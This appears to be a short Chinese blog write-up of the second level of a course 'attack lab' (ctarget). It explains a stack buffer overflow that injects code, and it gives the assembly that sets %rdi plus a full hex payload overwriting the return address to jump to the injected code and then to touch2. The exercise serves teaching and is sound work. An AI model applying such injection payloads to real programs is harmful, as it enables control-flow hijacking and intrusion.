attack lab ctarget 2
Published 7/31/2020
Views 13
ctarget
第二个任务是进入代码 touch2
,而且需要带参数(第一个参数设置为 0x59b997fa
)。
这里我们需要插入可执行代码,并将控制权跳转到可执行代码,设置 rdi
寄存器,再跳转到 touch2
。
同样考虑栈结构(ctarget
没有开启 栈随机化),因此运行时栈的地址是确定的:
因为运行到 getbuf
代码的结尾时,ret
语句会将 0x5561dca0
处值(原为 0x401976
)弹出并跳转,而运行时栈地址确定,再加上 ctarget
的栈空间内存有执行权限,因此我们可以将我们的恶意代码利用缓冲区溢出插入到 0x5561dc78
(缓冲区起始地址)后,将 0x5561dca0
处的跳转地址写为 0x5561dc78
(缓冲区地址)从而执行我们的代码。
我们的代码很简单:
movq $0x59b997fa, %rdi
ret
需要注意的是这里 ret
语句弹出的地址是 rsp = 0x5561dca8
,即 0x5561dca0
+ 8。因此,我们还需要在 0x5561dca8
覆盖上 touch2
的地址。
输入如下:
/* starts at 0x5561dc78, inject code here! */
48 c7 c7 fa 97 b9 59 /* movq $0x59b997fa, %rdi */
c3 /* ret */
00 00 00 00 00 00 00 00 /* paddings to make 40 bytes */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
/* original return address */
78 dc 61 55 00 00 00 00 /* jump to injected code */
ec 17 40 00 00 00 00 00 /* new rsp, second jump to touch2 */
如果这 40 bytes 不够插入代码怎么办呢?可以将 touch2
的地址替换为更高的地址,从而提供更大的代码插入空间。
本作品采用 知识共享 署名-非商业性使用-禁止演绎 4.0 国际许可协议 进行许可
0 comments